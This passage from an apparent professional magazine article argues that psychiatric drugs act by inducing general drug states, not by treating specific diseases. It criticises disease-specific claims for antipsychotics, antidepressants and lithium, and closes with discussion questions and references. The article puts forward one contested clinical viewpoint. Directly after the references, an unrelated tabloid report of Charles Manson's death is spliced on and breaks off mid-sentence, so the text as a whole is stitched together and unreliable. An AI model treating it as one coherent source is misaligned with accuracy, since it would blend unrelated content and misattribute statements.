The drug centred model was how drug action was understood prior to the 1950s when most psychiatric drugs were regarded simply as different sorts of sedatives, or chemical restraints (Moncrieff, 1999). It was the physical treatments, such as insulin coma therapy and ECT that were regarded as specific treatments. They were psychiatry's great hope for rehabilitating its failing reputation through a closer alliance with general medicine. When chlorpromazine and related drugs were first introduced a drug centred mode of understanding persisted for a while, with vivid descriptions of their unique ability to tranquillise without inducing sleep and to induce a sort of drug induced indifference which was likened to a chemical lobotomy.
However, the emphasis changed again in the 1960s. New drugs were enthusiastically embraced as disease specific treatments, just as the physical treatments had been, before there was any attempt to test out the presumptions of this idea (Moncrieff, 1999; Moncrieff & Cohen, 2005). Lithium was probably the first example of a drug advanced as a disease specific treatment. Despite abundant evidence that lithium is a toxic substance that exerts its effects through a profound sedation, it is still characterised as a specific treatment for affective disorders, especially bipolar disorder (Moncrieff, 1997).
A chemical cosh?
The disease centred model is also contradicted by a great deal of evidence over specificity of treatment (Moncrieff & Cohen, 2005).
When supposedly specific drugs (such as antipsychotics or antidepressants) are compared with non-specific ones (such as benzodiazepines), studies fail to confirm that the specific drugs work better than the non-specific ones. Studies comparing antipsychotics and lithium have not shown that lithium is specific for people with manic depression or affective psychoses (Moncrieff & Cohen, 2005).
In fact, the effects of the drugs may not even be specific to the mentally ill. According to the disease centred model drugs should only exert their effects in an abnormal nervous system. Yet studies with non-depressed human volunteers show that drugs induce characteristic states that are consistent with patients’ descriptions and side effect profiles.
Neither are supposedly disease specific drugs reliably supported by animal models of psychiatric disorders. For example, animal models of depression frequently show positive effects with drugs not considered to be antidepressants. Conversely some types of antidepressant, notably SSRIs, often fail to produce positive effects (Bourin et al., 2001).
The field is also hampered by poorly designed research. Studies that are cited to show the specific efficacy of certain drugs usually involve the use of outcome measures that include many items, such as poor sleep, or signs of over-arousal, that would respond to non-specific effects such as sedation.
Perhaps most damning of all is the fact that the introduction of new specific drugs has not improved the prognosis of major psychiatric disorders (Carpenter, 1997).
Awakenings
The disease based model of drug action has been popular, influential and enduring, despite the lack of evidence to support it, because it brings psychiatry into line with medical practice by suggesting that there are specific physical treatments for different psychiatric diagnoses. This supports the psychiatric profession’s claim to manage madness from a medical perspective.
However, the failings of the medico-biological approach to madness and mental distress are obvious and frustrating to many psychiatrists as well as other mental health professionals and service users. Medical doctors, including psychiatrists, are beginning to become more aware of the compromising influence of the pharmaceutical industry over medical and psychiatric practice and many are enthusiastic about non-drug-based interventions. Some are concerned about the possible damage that may be done by long-term psychiatric drug use, both physical and psychological, the latter by inducing dependence and chronicity, and aggravating certain psychological symptoms.
The Critical Psychiatry Network (www.critpsynet.freeuk.com) is a UK-based group of psychiatrists who are unhappy with the medical-biological approach to understanding and managing madness. Members of this group are interested in different philosophical approaches which see madness as a meaningful individual response to the world and ‘treatment’ as an individual journey of recovery (Braken & Thomas, 2005). Professionals may be able to help with this journey but help from family, friends and other service users may be more important.
In an era of increasing psychotropic drug use and promises of developments such as genetically targeted drugs, it is important that the models of drug action that form the basis of understanding and research are not misleading. I propose that the drug centred model of drug action helps best illuminate what drugs can achieve, and also what they cannot achieve and what negative effects might occur. Since the utility of drugs is not derived from an esoteric disease model, but from immediate subjective experience, doctors need to work in partnership with patients, listening to their evaluations of different drugs and helping them to weigh up pros and cons. It is important to identify patients and others specific targets for drug treatment, to match targets with known drug induced effects and monitor the utility of those effects. This model can therefore help clinicians to move on from the sterile and reductionist idea that understanding madness and distress is achieved by applying a diagnostic label, and to instead enable them to offer help that is really useful and empowering.
Dr Joanna Moncrieff is a senior lecturer at University College London and a consultant psychiatrist. E-mail:?[email protected].
Discuss and debate
What evidence is there that psychiatric drugs correct biochemical abnormalities?
How does drug treatment help to justify the process of diagnosis?
Are drug-induced states helpful to people with psychological problems?
How can we approach drug treatment in a more balanced way?
Have your say on these or other issues this article raises. E-mail ‘Letters’ on [email protected] or contribute to our forum via www.thepsychologist.org.uk.
References
Bourin, M., Fiocco, A.J. & Clenet, F. (2001). How valuable are animal models in defining antidepressant activity? Human Psychpharmacology and Clinical Experimentation, 16, 9–21.
Bracken, P. & Thomas, P. (2005). Postpsychiatry. Mental health in a post modern world. Oxford: Oxford University Press.
Carpenter, W.T. (1997). The risk of medication free research. Schizophrenia Bulletin, 23, 11–18.
Irle, E., Lange, C. & Sachsse, U. (2005). Reduced size and abnormal asymmetry of parietal cortex in women with borderline personality disorder. Biological Psychiatry, 15, 173–182.
Lin, H.F., Kuo, Y.T., Chiang, I.C., Chen, H.M. & Chen, C.S. (2005). Structural abnormality on brain magnetic resonance imaging in late onset major depressive disorder. Kaohsiung Journal Medical Science, 21, 405–411.
Moncrieff, J. (1997). Lithium reconsidered. British Journal of Psychiatry, 171, 113–119.
Moncrieff, J. (1999). An investigation into the precedents of modern drug treatment in psychiatry. History of Psychiatry, 10, 475–490.
Moncrieff, J. (2007). The dopamine theory of schizophrenia and psychosis: How does the evidence stand now? Manuscript submitted for publication.
Moncrieff, J. & Cohen, D. (2005). Rethinking models of psychotropic drug action. Psychotherapy and Psychosomatics, 74, 145–153.
Moncrieff, J. & Cohen, D. (2006). Do antidepressants cure or create abnormal brain states? PLoS Medicine, 3(7), e240.
Nemeroff, C.B., Bremner, J.D., Foa, E.B. et al. (2006). Post traumatic stress disorder: A state of the science review. Journal of Psychiatric Research, 40, 1–21.,
Valenstein, E. (1998). Blaming the brain. New York: The Free Press.
Zipursky, R.B., Lambe, E.K., Kapur, S. & Mikulis, D.J. (1998). Cerebral gray matter volume deficits in first episode psychosis. Archives General Psychiatry, 55, 540–546.Charles Manson Dead at 83
Charles Manson Dead
EXCLUSIVE
Charles Manson -- the man who masterminded one of the most heinous murder sprees in American history -- is dead... this according to the sister of his famous victim.
Debra Tate tells TMZ she received a call from the prison telling her Manson died 8:13 PM Sunday.
We're told the prison is contacting all of the victims' families.
Manson died of natural causes, according to prison officials.
Manson was recently wheeled into Bakersfield hospital and escorted by 5 uniformed cops. Our sources had said at the time, " |
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